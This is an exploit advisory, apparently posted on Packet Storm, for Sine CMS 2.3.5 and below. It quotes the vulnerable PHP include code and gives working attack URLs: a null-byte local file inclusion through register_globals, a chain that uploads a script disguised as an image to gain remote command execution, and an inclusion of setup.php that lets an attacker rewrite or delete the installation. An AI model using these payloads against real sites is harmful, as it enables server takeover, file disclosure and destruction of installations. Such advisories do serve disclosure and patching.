what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sinecms-lfiexec.txt

sinecms-lfiexec.txt
Posted Jan 7, 2008
Authored by KiNgOfThEwOrLd | Site inj3ct-it.org

Sine CMS versions 2.3.5 and below suffer from local file inclusion and remote code execution vulnerabilities.

tags | exploit, remote, local, vulnerability, code execution, file inclusion
SHA-256 | 610993ce45d1ece426ab6007dca1c936ab94ac609f0258f8e8e8c3299ec44815

sinecms-lfiexec.txt

Change Mirror Download
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
| ____ __________ __ ____ __ |
| /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ |
| | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ |
| | | | \ | |/ \ \___| | /_____/ | || | |
| |___|___| /\__| /______ /\___ >__| |___||__| |
| \/\______| \/ \/ |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
| Sine CMS Local File Inclusion / RCE (Register_globals: ON) |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
| Version: <= 2.3.5 |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
| Vendor: www.sinecms.net |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
| Discovered by: KiNgOfThEwOrLd |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
Intro:

Sine cms is affected by a local file inclusion vulnerabily with
register_globals on.
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
Related code:

/mods/Integrated/index.php

<?
if ($_GET[page]=="source"){
include "mods/Integrated/source.php";
} else {
// cerca la home e la themizza
include_once ("mods/".$sine[config][index_main]."/index.php");
$mods = $sine[config][index_main];
}
?>
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
PoC:

Usually, this is a correctly code, with no possible exploitation. But if
register_globals is ON, we can edit via GET the $sine[config][index_main]
value, and then, using null byte, we'll get a local file inclusion
vulnerability like:

http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=
{FILE_TO_INCLUDE}%00

But pay attention, in this way the include_one function will try to include
"mods/{FILE}"; certainly, using the directory traversal var, we can surf and
include any files, but "mods/{FILE}" is different from "/mods/{FILE}"! In fact,
in this case, the script will try to include "/mods/Integrated/mods/{FILE}"!
So, the cms root path will be accessible with "../../../" and not "../../".
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
How to get a Remote Command Execution

Sine CMS, allows everybody to send a news with an image, uploadable directly
on the host. Then, uploading an evil script as an image, we'll get a shell in
/mods/Core/data/images/{EVIL_IMAGE}. Now, including that file by the local file
inclusion vulnerability that i've just explaned we'll get a remote command
execution.
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
Exploit:

http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=..
/../Core/data/images/{EVIL}.jpg%00
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
Just a little security issue

Realted code:

setup.php @ line 98

[...]
if(file_exists("./sine.lock")) $locked=1;
[...]
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
PoC:

After the installation, sine cms makes a file (sine.lock), to check if the cms
has been already installed. But the condition is true if "./sine.lock" exist,
so only if there is sine.lock in the current work dir! Then, including via
local file inclusion "setup.php" the condition will result false, and we can
rewrite, delete, or edit the installation.
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
Exploit:

http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=..
/../../setup.php%00
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]

Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close